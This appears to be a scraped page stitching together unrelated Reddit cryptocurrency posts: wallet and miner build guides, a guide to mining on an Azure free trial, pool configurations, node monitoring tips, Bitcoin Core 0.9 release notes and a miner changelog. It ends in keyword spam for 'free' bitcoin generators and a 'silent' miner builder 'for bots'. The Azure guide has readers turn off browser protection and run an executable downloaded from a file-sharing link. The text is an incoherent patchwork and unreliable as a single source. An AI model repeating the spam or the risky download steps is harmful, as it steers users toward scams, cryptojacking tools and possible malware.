https://preview.redd.it/0zfbfxa8kcd21.jpg?width=601&format=pjpg&auto=webp&s=438d072a6ab2bc7a3d84a8dfe773968acc762bc7
Now the stock UI has a number of third-party libraries which contain some vulnerabilities, being a security conscious person, ive also run:
npm audit fix 
when this is done, we have fixed most of the package vulnerabilities 😊 We also get a complaint about the typescript library being too new for the version of angular in use, so run the following command to install the additional dependency:
npm install [email protected]">=2.4.2 <2.7.0" 
now its time to build the UI, execute the following:
npm run build:prod 
once complete you should see something like the following..

https://preview.redd.it/56vf9zfckcd21.jpg?width=601&format=pjpg&auto=webp&s=31b72daff9ab5001843cba529a7bd38c76fd099d
Next its time to compile the electron binary, it should be noted that the build/package process utilises AppVoyer which is not installed and if you attempt to build right now you will get the following error:
cannot expand pattern "${productName}-v${version}-setup-${os}-${env.arch}.${ext}": env arch is not defined. 
To fix this we need to modify the build file, this is a quick one liner that can do it:
powershell -Command "(gc electron-builder.json) -replace 'env.arch', 'arch' | Out-File electron-builder.json" 
Essentially the offending line for Windows is..
"artifactName": "${productName}-v${version}-setup-${os}-${env.arch}.${ext}" 
The build cannot resolve “env.arch”, so the above one liner replaces “env.arch” with “arch” which works 😊
execute the following command:
npx electron-builder build --windows --x64 
At present i get the following error, no matter what i do.. and ive ran out of time to go hunting about.. if anyone has any ideas on how to fix then please post in here or message me on discord:

https://preview.redd.it/t66rtuqdtcd21.jpg?width=918&format=pjpg&auto=webp&s=a3f1a5ff682586348909c67645ca7ae9454922ff


Happy staking!

If you found this post helpful, then buy me a beer and send a donation to XQXeqrNFad2Uu7k3E9Dx5t4524fBsnEeSw
submitted by D4rthNoodle to x42 [link] [comments]

[Guide] No hardware to mine? How to net 6,000+Ð/day using Windows Azure

Inspired by lleti 's free guide for using Amazon Web Services. However, from what I understand due to rental costs, it is more efficient to buy doge directly than use AWS. This guide is based on utilizing the $200 credit that comes with the Windows Azure cloud computing free trial, so you will not pay anything.
This is targeted at shibes with poor hardware that can only mine 50-200 doge per day, but it will work for everyone.
Disclaimer: Doge rate is an estimate based on current difficulties and market. Windows Azure trial may be US only (?)
Overview / How it works
You will not be mining doge directly with this method. Mining doge effeciently requires a GPU, which aren't found in traditional servers. Instead, we will be using the powerful CPUs provided with Windows Azure servers to mine a CPU based crypto-currency, such as QuarkCoin or SecureCoin, and convert those to doge.
Steps
1) Install your QRK or SRC wallet
Ideally if you are reading this, you have installed a dogecoin-qt wallet for yourself before. We will need to do the same for either QuarkCoin or SecureCoin. This is the wallet where will will send the coins you mine with your Windows Azure servers.
These are not the only CPU coin options, but QRK and SRC are very similar (same hash function) and simple to mine.
Once you have installed the wallet, it should look very similar to your DogeCoin wallet. If you have trouble downloading the blockchain ('out of sync'), look at these threads respectively to see which nodes you need to add to your config file. Config files are located at C:\Users\UserName\AppData\Roaming\CoinName.conf on Windows.
2) Set up a mining pool account
If you have joined a mining pool for DogeCoin, it will be a very similar experience for other alt coins. See the following bitcointalk threads which have a list of mining pools:
If you would like a pool recommendation, I can recommend src.coinmine.pl and qrk.coinmine.pl; this is from personal experience, I am not affiliated with them.
Once you are logged in you should also create 3 workers, as we will be setting up 3 servers, one for each server. So you should have 3 worker names, and a password set up for each worker.
3) Sign up for Windows Azure free trial
Link: www.windowsazure.com/en-us/pricing/free-trial/
You will have to provide a valid credit card and verify your account with a cell phone so they know you are a real person. This is a Microsoft product so they are reputable. Once you sign up, you will receive a $200 to use in 30 days. Remember to cancel when your credits are running out so they don't charge you.
4) Create Windows Server instances
I would recommend you watch this video which walks you through the UI of the Windows Azure management site to set up the virtual machines we need. Essentially we are going to do the following:
Thus we have a total of 20 CPU cores to mine QRK / SRC with. We want the the most CPU power we can get without excessively burning our $200 credit. That's why 2008 R2 is used, and only 3 instances of it.
5) Remotely connect to servers and download miner
This section is also covered in the video from section 4, watch it for a visual walkthrough.
Once the servers have been initialized on Microsoft's end, we should be able to access them under 'Virtual Machines' at www.manage.windowsazure.com. You should see each host name and a status, and when selected there should be an additional 'Connect' button - click it.
You should now be prompted to download a .rdp file. Download this for each of your 3 virtual machines to a folder you will remember. You will open this .rdp file and use the login credentials you previously specified to connect to each server.
Once you are remotely connected, you should see the desktop. Open up the first icon on the taskbar that looks like a server, this is your server manager. We need to open up the 'Configure IE ESC' setting that's visible on this pane. Make sure 'Off' is selected for both admins and users on the IE ESC configuration.
Now, open up the IE browser and navigate to https://docs.google.com/file/d/0B9cvOfoOekSdVzZZcThLZHg4bjA/edit. Press Ctrl + S to download the entire zip to the desktop, and un-zip it.
6) Configure and start miner
Again, this is pretty much covered in the video from section 4, if you prefer watching.
You should now have a folder on your server's desktop named quark-v2_w64. This is the miner for both QRK and SRC. We are going to be using minerd64_sse4.exe. Create a shortcut to minerd64_sse4.exe within the same folder. We now need to add the parameters for your miner.
Right click on your minerd64_sse4.exe shortcut -> Properties. Look at the target field, it should look like this:
C:\Users\UserName\Desktop\quark-v2_w64\minerd64_sse4.exe
We are going append the following format to this target field
-a quark -t 8 -o stratum+tcp://src.coinmine.pl:6020 -u user.worker -p password
-a: algorithm, both SRC and QRK use 'quark'
-t: number of cores (so either 8 or 4 for our purposes)
-o: mining pool information (url and port).
-u: account you have for your mining pool, then a period, then a worker name
-p: password that you created for the worker in step 2
So here is an example of what the target field of your shortcut should look like when you are done:
C:\Users\Nexic\Desktop\quark-v2_w64\minerd64_sse4.exe -a quark -t 8 -o stratum+tcp://src.coinmine.pl:6020 -u Nexic.worker1 -p pass1
7) Profit!!
If you set up your miners correctly on each Windows Server VM (I prefer to assign a separate worker to each one), you should be able to run them and see an output like this: http://i.imgur.com/3lECqSz.png. You can close your remote sessions without interrupting it.
How do you get the doge, you ask? Well, using the above setup I have earned 10 SecureCoins in the past 2 days. These are worth 0.00094 bitcoins (BTC) on Cryptsy at present. A doge is worth 0.0000007 BTC at present, so if I go from SRC -> BTC -> DOGE, I can turn 5 SRC to 6,642 DOGE on Cryptsy. There are also other exchanges, I won't go into how to exchange coins on this post. Remember, this is every day for about a week, for free!
Also, you can CPU mine on your own personal computers as well, not just the servers.
TL;DR
Mine QuarkCoin / SecureCoin using Windows Azure free trial, use Cryptsy (or other exchange) to convert to DOGE. Much more efficient than CPU mining Doge.
submitted by Nexic to dogecoin [link] [comments]

NiceHash + MiningPoolHub + WhatToMine = ?

Hi all!
Let's assume someone has the following mining objectives:
  1. Build a setup-and-forget rig, because personal time is too important to be entirelly spent monitoring hashing power and currency rates.
  2. Always mine the most profitable coin for their hardware, even if that means changing to other pools.
  3. Automatically exchange all mined coins to preffered one.
At this time the 2 most popular ways to approach these objectives are:
  1. NiceHash. It pays in BTC but has 2 disadvantages: a) Its switching algo is not transparent, so you can't be sure they always choose the best for you and b) You can't change the payout coin.
  2. MiningPoolHub. You can choose the payout coin and it supports both in-algo and multi-algo coin switching.
  3. MultiPoolMiner. Powerfull but, no GUI?
Methods (1) and (2) are different pools and cannot be used simultaneously for auto switching.
So what's left? is there a way to easily setup a rig for auto switching, without limits regarding algos, pools and miners?
Please let me know if I'm missing something.
What I am trying to do:
Yesterday I built a new small rig with 2 1070ti.
I'm using BiggerDigger, a mining automator I created.
(This post is not about promoting it, I just need some advice)
I set it up to check WhatToMine.com every 10 minutes and auto mine the most profitable coin for my hardware, using ccminer and EWBF.
The 'miners.txt' file is as follows:
# USAGE: coin_name | miner_executable | parameters | pool | wallet
BitcoinGold | C:\Miners\EWBF\miner.exe | --server europe.equihash-hub.miningpoolhub.com --user user.worker --pass x --port 20595 | https://bitcoin-gold.miningpoolhub.com/index.php?page=dashboard | https://bitcoin-gold.miningpoolhub.com/index.php?page=account&action=pooledit Nicehash-Equihash | C:\Miners\EWBF\miner.exe | --server equihash.eu.nicehash.com --user user.worker --pass x --port 3357 | https://www.nicehash.com/minemy | https://www.nicehash.com/wallet Nicehash-Lyra2REv2 | C:\Miners\ccminer\ccminer-x64.exe | -a lyra2rev2 -o stratum+tcp://lyra2rev2.eu.nicehash.com:3347 -u user.worker -p x | https://www.nicehash.com/minemy | https://www.nicehash.com/wallet Zcash | C:\Miners\EWBF\miner.exe | --server europe.equihash-hub.miningpoolhub.com --user user.worker --pass x --port 20570 | https://zcash.miningpoolhub.com/index.php?page=dashboard | https://zcash.miningpoolhub.com/index.php?page=account&action=pooledit Zclassic | C:\Miners\EWBF\miner.exe | --server europe.equihash-hub.miningpoolhub.com --user user.worker --pass x --port 20575 | https://zclassic.miningpoolhub.com/index.php?page=dashboard | https://zclassic.miningpoolhub.com/index.php?page=account&action=pooledit Zencash | C:\Miners\EWBF\miner.exe | --server europe.equihash-hub.miningpoolhub.com --user user.worker --pass x --port 20594 | https://zencash.miningpoolhub.com/index.php?page=dashboard | https://zencash.miningpoolhub.com/index.php?page=account&action=pooledit
 
In brief, I set it up to:
 
I'd appreciate any answer to the following questions:
submitted by kevinpat5 to NiceHash [link] [comments]

[GUIDE][Ongoing] How to Build the Open-Source CUDA 0xBTC Miner on Windows! Step-By-Step.

I will be updating this thread today with new solutions to common problems and more details to make the process smoother. Keep an eye on this thread as I will be editing it with each new revision.
Linux build guide coming next (probably tonight). And a simpler guide on how to use the pre-built version. Enjoy, and I appreciate/welcome any feedback! Thanks!
My Experiences Building 0xBitcoin GPU miner on Windows 10 x64. Tutorial Version 1 (pre-alpha status, lol)
(by: Lt.Tofu [Mag517] on the 0xBitcoin discord. )
You will no doubt have to google a few things, but as I revise this tutorial that number should decrease. Let me know how it can be made more helpful. Note: Your Mileage can, and probably will, Vary!
First you'll have to install Git and Node.js (version 8.something). Let me know if you can't find it. You also need to install CUDA. The latest version seems to be fine. Also get any updates that are listed with the main installer package. Make sure you get drivers that play nice with your GPU for mining (google around to find experiences of other miners with your hardware.) Once you install these programs, YOU MUST LOG OUT AND BACK IN to update your PATHs! You're best off restarting after installing CUDA anyway.
WARNING: CUDA comes with a graphics driver! If you don't want it replacing your own, uncheck it! Also, DON'T install GeForce Experience, and if you have it, I advise uninstalling it. It might mess with your drivers and can prevent you from setting certain parameters in the nV control panel you might need.
Get the latest master from: https://github.com/0xbitcoin/0xbitcoin-gpuminer or clone it (google that) to your disk. Extract it somewhere handy, I'll put it in c:\development\0xbitcoin-gpuminer-master Open an Admin PowerShell (windows key + X, then press A in the menu that appears. You can also select File Menu from the upper left from within your build dir and choose Powershell as Admin.) Navigate to your build directory.
cd ../../
cd Development
cd 0xbitcoin-gpuminer-master
Now you want to run yarn to get the dependencies for the build. But first you need yarn. Do these.
npm install yarn
(consider doing npm install -g yarn to install it globally for other build dirs.)
yarn
Now yarn should run and install python and some other goodies. You might also need to do:
npm install windows-build-tools
Now you will need to set the "magic numbers" to match your GPU.
In your favorite text editor, open c:\development\0xbitcoin-gpuminer-master\cpp\hybridminer\cuda_sha3.cu At the very top you should see two #define directives. Change the numeric value in these to match your GPU. Here is mine as an example. I have a GTX960, which has 1024 CUDA cores, so I set 32 for both of these. Which conveniently multiplies out to 1024. I was able to find some starter values by running another miner I had lying around, XMR-STAK, and looking at the nvidia.txt it generates with # of threads, blocks. It was giving 24 and 28 and I adjusted to 32 and 32. I continue to play with these numbers to see if I can eke out extra performance or lower the intensity to make Windows more responsive while mining.
EDIT: Better performance on the GTX960 achieved with settings: 128 block size, 36 threads. EDIT2: Maxwell 2nd-Gen GPUs like this can be sped up further by enabling Optimize for Compute in the nV control panel. Might report "access denied" if you have GeForce Experience installed- all the more reason to remove it or not install it. You might also turn "DSR Factors" to 2.00x and see if it helps your mining speed.
CUDA and Drivers all installed? Good! Now check your paths. Start Menu, type Environment until you see Environment Variables come up. You can also go to the old System control panel, advanced settings to do this. Verify that there's a CUDA_PATH and a CUDA_PATH_9.1 pointing to a directory like this one (check your own:)
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v9.1
If you get an error later on about nvcc.exe not being found, or other CUDA dependency-sounding errors, try defining $(CUDA_PATH) the exact same way. Remember to log out/in again or reboot to apply these new paths.
Ready for the moment of truth. Execute these commands in order in c:\development\0xbitcoin-gpuminer-master.
(EDIT: Want a shortcut? node-gyp clean and then npm install instead to automate the process!) (Another option: try node-gyp run build).
node-gyp clean
node-gyp configure
node-gyp build
node-gyp install
If all were successful, then proceed, otherwise we need to fix something. As people report errors I will add solutions *here.
node index.js
This SHOULD run the program in your Power Shell. You can do this in a regular, non-elevated one, as Admin should not be necessary after you installed those dependencies earlier. This was the case for me, but run as Admin if you encounter a problem so that you can check this off the list of potential culprits.
Once in the miner, enter these commands.
account select 0xthisisyouraddress You should be asked to enter the keystore's password. If you haven't set up an account yet, do 'account new' instead and follow the steps. Then come back and use the above command in the future. On additional computers you wish to mine on, you should in theory only need to enter the address, not transfer the keystore to each one.
pool select http://tokenminingpool.com:8586/
alternatively:
pool select http://0xpool.io:8586/
pool mine cuda
If this worked, you should be mining. Look for solutions and check the Statistics page on your chosen mining pool.
... More to come ...
submitted by LieutenantTofu to 0xbitcoin [link] [comments]

Transaction with a very small fee stuck in mempool

I am using a recent version of the bitcoin core client on Windows. Bitcoin-qt.exe v0.15.0.1.
Accidentally sent a transaction with a small fee. This was about a week ago. It is stuck in the mempool, no miner wants to confirm it because of the low fee.
Last night, I tried to clear it off by starting up the bitcoin-qt.exe client with the --zapwallettxes=1 parameter. After rescannining for about 2 hours, it removed the unconfirmed transaction. I then closed the client and started it again without the zapwallettxes parameter, and everything looked good. However, this morning, I see the unconfirmed transaction came back.... Maybe since it is now in the mempool, it gets rebroadcasted to the clients?
How can I permanently remove the transaction?
I read that it may be possible to solve this by starting up the client with the zapwallettxes parameter and after the rescan completes, to transfer the full wallet balance to another fresh wallet, with a high fee.
submitted by unk1911 to Bitcoin [link] [comments]

Changelog 4.2.6 (18 Dec 2017)

Version 4.2.6
Version 4.2.5
Version 4.2.4
Version 4.2.3
Version 4.2.2
Version 4.2.1
Version 4.2
Version 4.1.2
Version 4.1.1
Version 4.1
IMPORTANT: CcMiner 2.2.2 requires nVidia Drivers 384.xx or later for Cuda9 support.
Version 4.0.7
Version 4.0.6
Version 4.0.5
Version 4.0.4
Version 4.0.3
Version 4.0.2
Version 4.0.1
Version 4.0
submitted by exigesDB to AwesomeMiner [link] [comments]

Please forgive the new account, but after getting some guidance on the #segwit-support slack channel, here are the steps for us Windows N00bs to keep the miners honest even if you don't have much space on your disk.

  1. Download and verify luke-jr core build here: http://luke.dashjr.org/programs/bitcoin/files/bitcoind/misc/0.14.x/core-0.14.2-uasfsegwit1.0/ Download the zip, not the exe.
  2. You can verify the checksum by installing 7-zip, and then using the context menu to make sure your download matches the sum found here: http://luke.dashjr.org/programs/bitcoin/files/bitcoind/misc/0.14.x/core-0.14.2-uasfsegwit1.0/SHA256SUMS
  3. Extract the zip contents to C:\Bitcoin Node
If you're like me and don't have space on your disk you can prune:
  1. Create a shortcut of bitcoin-qt.exe to your desktop.
  2. Right click on your shortcut and add this line to the "Target" field:
    "C:\Bitcoin Node\bitcoin-0.14.2\bin\bitcoin-qt.exe" -datadir=C:\Bitcoin -prune=550 -dbcache=3000 -listen=0
  3. Hit Apply.
  4. Run bitcoin qt using the shortcut. It will pass along the purning parameters, and you will be keeping the miner's honest come August 1.
Cheers!
submitted by RALLYM0AD to Bitcoin [link] [comments]

Simple uptime monitoring for the bitcoind process

Hello bitcoin node operators,
here's a quick writeup on how to get notified over email, Slack, Telegram etc. when your bitcoin node experiences problems. Shameless plug: this uses an open source third party monitoring service https://healthchecks.io, which I am the author of. There are other similar services too, see below.
Idea in nutshel: the bitcoind executable supports a -blocknotify="" parameter. With this parameter set, bitcoind will run each time it accepts a new block. You can use this parameter to send "I'm alive!" messages to an external monitoring service. The external service can then send out alerts when it doesn't receive a ping for X minutes. This would cover a few different scenarios:
  • the host system running your full node has been powered off
  • the host system running your full node has lost network connectivity
  • the bitcoind process has run out of memory and crashed
  • miners have not produced a block for a long time (technically your node is still fine, but it is nevertheless an event you may want to know about)
Here are the steps to set this up on a Linux system:
  • Go to https://healthchecks.io and sign up for a free account. It will ask for your email (for future sign-ins and for sending you alerts), but that's it
  • Once signed up, create a Check, give it a descriptive name, set its Period to 10 minutes, and Grace Time to 60 minutes: example
  • Copy its URL and launch your bitcoind process like so:
    bitcoind -blocknotify="curl --retry 3 https://hchk.io/"
And it's good to go. When 10+60 minutes (expected time between blocks plus grace time) go by without a block, you will receive an email alert. You can of course adjust the Grace Time parameter to your liking. You can then set up additional alerting methods in the "Integrations" page on healthchecks.io
I have been running a node on a spare PC and this method has been working well for me. If you don't want to use healthchecks.io service, there are similar alternative services. Two established ones are Dead Man's Snitch and Cronitor.
Windows users: I do not have detailed instructions for Windows, but the same general idea would work. You will have to use something other than "curl" for making HTTP requests. An inline Powershell script is one option:
powershell.exe -command &{Invoke-RestMethod https://hchk.io/} 
Hope you find this useful!
submitted by cuu508 to btc [link] [comments]

Bitcoin-QT 0.9 disponível para download

The Core Developers of Bitcoin released the 0.9.0 FINAL of Bitcoin Core (aka Bitcoin QT).
DOWNLOAD:
This is a Final Version, but its the same as 0.9.0rc3
Sources: https://github.com/bitcoin/bitcoin/releases http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.9.0/ https://bitcoin.org/bin/0.9.0/README.txt
Bitcoin Core version 0.9.0 is now available from:
https://bitcoin.org/bin/0.9.0/
This is a release candidate for a new major version. A major version brings both new features and bug fixes.
Please report bugs using the issue tracker at github:
https://github.com/bitcoin/bitcoin/issues

How to Upgrade

If you are running an older version, shut it down. Wait until it has completely shut down (which might take a few minutes for older versions), uninstall all earlier versions of Bitcoin, then run the installer (on Windows) or just copy over /Applications/Bitcoin-Qt (on Mac) or bitcoind/bitcoin-qt (on Linux).
If you are upgrading from version 0.7.2 or earlier, the first time you run 0.9.0 your blockchain files will be re-indexed, which will take anywhere from 30 minutes to several hours, depending on the speed of your machine.
On Windows, do not forget to uninstall all earlier versions of the Bitcoin client first, especially if you are switching to the 64-bit version.

Windows 64-bit installer

New in 0.9.0 is the Windows 64-bit version of the client. There have been frequent reports of users running out of virtual memory on 32-bit systems during the initial sync. Because of this it is recommended to install the 64-bit version if your system supports it.
NOTE: Release candidate 2 Windows binaries are not code-signed; use PGP and the SHA256SUMS.asc file to make sure your binaries are correct. In the final 0.9.0 release, Windows setup.exe binaries will be code-signed.

OSX 10.5 / 32-bit no longer supported

0.9.0 drops support for older Macs. The minimum requirements are now: * A 64-bit-capable CPU (see http://support.apple.com/kb/ht3696); * Mac OS 10.6 or later (see https://support.apple.com/kb/ht1633).

Downgrading warnings

The 'chainstate' for this release is not always compatible with previous releases, so if you run 0.9 and then decide to switch back to a 0.8.x release you might get a blockchain validation error when starting the old release (due to 'pruned outputs' being omitted from the index of unspent transaction outputs).
Running the old release with the -reindex option will rebuild the chainstate data structures and correct the problem.
Also, the first time you run a 0.8.x release on a 0.9 wallet it will rescan the blockchain for missing spent coins, which will take a long time (tens of minutes on a typical machine).

Rebranding to Bitcoin Core

To reduce confusion between Bitcoin-the-network and Bitcoin-the-software we have renamed the reference client to Bitcoin Core.

Autotools build system

For 0.9.0 we switched to an autotools-based build system instead of individual (q)makefiles.
Using the standard "./autogen.sh; ./configure; make" to build Bitcoin-Qt and bitcoind makes it easier for experienced open source developers to contribute to the project.
Be sure to check doc/build-*.md for your platform before building from source.

Bitcoin-cli

Another change in the 0.9 release is moving away from the bitcoind executable functioning both as a server and as a RPC client. The RPC client functionality ("tell the running bitcoin daemon to do THIS") was split into a separate executable, 'bitcoin-cli'. The RPC client code will eventually be removed from bitcoind, but will be kept for backwards compatibility for a release or two.

walletpassphrase RPC

The behavior of the walletpassphrase RPC when the wallet is already unlocked has changed between 0.8 and 0.9.
The 0.8 behavior of walletpassphrase is to fail when the wallet is already unlocked:
> walletpassphrase 1000 walletunlocktime = now + 1000 > walletpassphrase 10 Error: Wallet is already unlocked (old unlock time stays) 
The new behavior of walletpassphrase is to set a new unlock time overriding the old one:
> walletpassphrase 1000 walletunlocktime = now + 1000 > walletpassphrase 10 walletunlocktime = now + 10 (overriding the old unlock time) 

Transaction malleability-related fixes

This release contains a few fixes for transaction ID (TXID) malleability issues:

Transaction Fees

This release drops the default fee required to relay transactions across the network and for miners to consider the transaction in their blocks to 0.01mBTC per kilobyte.
Note that getting a transaction relayed across the network does NOT guarantee that the transaction will be accepted by a miner; by default, miners fill their blocks with 50 kilobytes of high-priority transactions, and then with 700 kilobytes of the highest-fee-per-kilobyte transactions.
The minimum relay/mining fee-per-kilobyte may be changed with the minrelaytxfee option. Note that previous releases incorrectly used the mintxfee setting to determine which low-priority transactions should be considered for inclusion in blocks.
The wallet code still uses a default fee for low-priority transactions of 0.1mBTC per kilobyte. During periods of heavy transaction volume, even this fee may not be enough to get transactions confirmed quickly; the mintxfee option may be used to override the default.

0.9.0 Release notes

RPC:
Command-line options:
Block-chain handling and storage:
Wallet:
Mining:
Protocol and network:
Validation:
Build system:
GUI:
submitted by allex2501 to BrasilBitcoin [link] [comments]

GUIminer returning "Verification failed, check hardware" on HD 6870. BitMinters Client is working though.

I want to use GUIminer and more specifiaclly I want to use the poclbm kernel because it allows me to set the -f 60 flag, which allows me to play games (league of legends) while mining. However GUIminer returns:
2013-11-20 14:14:40: Running command: poclbm.exe MetalPinguin.GPU:[email protected]:3333 --device=0 --platform=0 --verbose -r1 -v -w 128 -f 60 --verbose 2013-11-20 14:14:40: Listener for "GPU #1" started 2013-11-20 14:14:43: Listener for "GPU #1": 20/11/2013 14:14:43, started OpenCL miner on platform 0, device 0 (Barts) 2013-11-20 14:14:43: Listener for "GPU #1": stratum.bitcoin.cz:3333 20/11/2013 14:14:43, checking for stratum... 2013-11-20 14:14:43: Listener for "GPU #1": stratum.bitcoin.cz:3333 20/11/2013 14:14:43, no response to getwork, using as stratum 2013-11-20 14:14:43: Listener for "GPU #1": stratum.bitcoin.cz:3333 20/11/2013 14:14:43, Setting new difficulty: 3 2013-11-20 14:15:12: Listener for "GPU #1": stratum.bitcoin.cz:3333 20/11/2013 14:15:12, Verification failed, check hardware! (0:0:Barts, 4bb0be35) 2013-11-20 14:15:13: Listener for "GPU #1": stratum.bitcoin.cz:3333 20/11/2013 14:15:13, Verification failed, check hardware! (0:0:Barts, a4bfd3a7) 2013-11-20 14:15:19: Listener for "GPU #1" shutting down 
I googled for a solution which said I should downgrade to CCC version 11.11, however this is not ideal since it would negatively affect my gaming experience. I also heard that BitMinter had a very easy to use client, so I decided to give that a shot. This client is indeed easy, as it immediatly worked! My work got accepted for the most part (5 stale out of 300+ proofs of work), however this is not the pool I want to mine in and the client does not allow me to set any parameters.
Anyone know a solution, obviously there are miners that could work with my card (BitMinter), but I did not find them yet. I tried GUIminer, Phoenix and CGminer.
PS: Please don't comment on whether mining is viable for me. I want to participate in Bitcoin mining with my gaming PC, my question is not about viability.
submitted by MetalPinguin to BitcoinBeginners [link] [comments]

T17+_61T MINER REAL PARAMETERS Best fastest bitcoin miner 2020 1 btc daily - YouTube Free Cloud Bitcoin Mining 1 BTC in 1 Minute Cloud Miner V13 0 Silent bitcoin miner Builder exe for pc cpu or bots BITCOIN GENERATOR FREE BITCOIN MINER 2020 100% LEGIT BITCOIN MONEY ADD

4. Now in your miner folder, create a new text document named help.txt. Next in help.txt insert the following config. Note: Change “ccminer-x64.exe” to “ccminer.exe” if the actual name of the executable is. ccminer-x64.exe --help pause. 5. After that, go to “File”> “Save As” and select “Save As” as “All Files” (this is Optimize your computer to be able to mine bitcoins at an accelerated rate by accessing the system parameters and configuring hardware output via the dedicated utility. It requires wallet ID to connect to a user profile. To get the full list of parameters just type MINERD -h at the command prompt.. The output will look something like below: Usage: minerd [OPTIONS] Options: -a, --algo=ALGO specify the algorithm to use scrypt scrypt(1024, 1, 1) (default) sha256d SHA-256d -o, --url=URL URL of mining server -O, --userpass=U:P username:password pair for mining server -u, --user=USERNAME username for mining server BitCoinMiner How to Remove BitCoinMiner from Your Computer. To completely purge BitCoinMiner from your computer, you need to delete the files, folders, Windows registry keys and registry values associated with BitCoinMiner. Getting the X mining algorithm to work can turn into a pretty corky job sometimes; Unlike Bitcoin mining, using SHA 256, or Scrypt mining, which have become quite simplified at this point, and almost completely controlled by ASICs and cloud mining, the X algorithms are very ASIC resistant, and still require a bit of work to mine effectively. So

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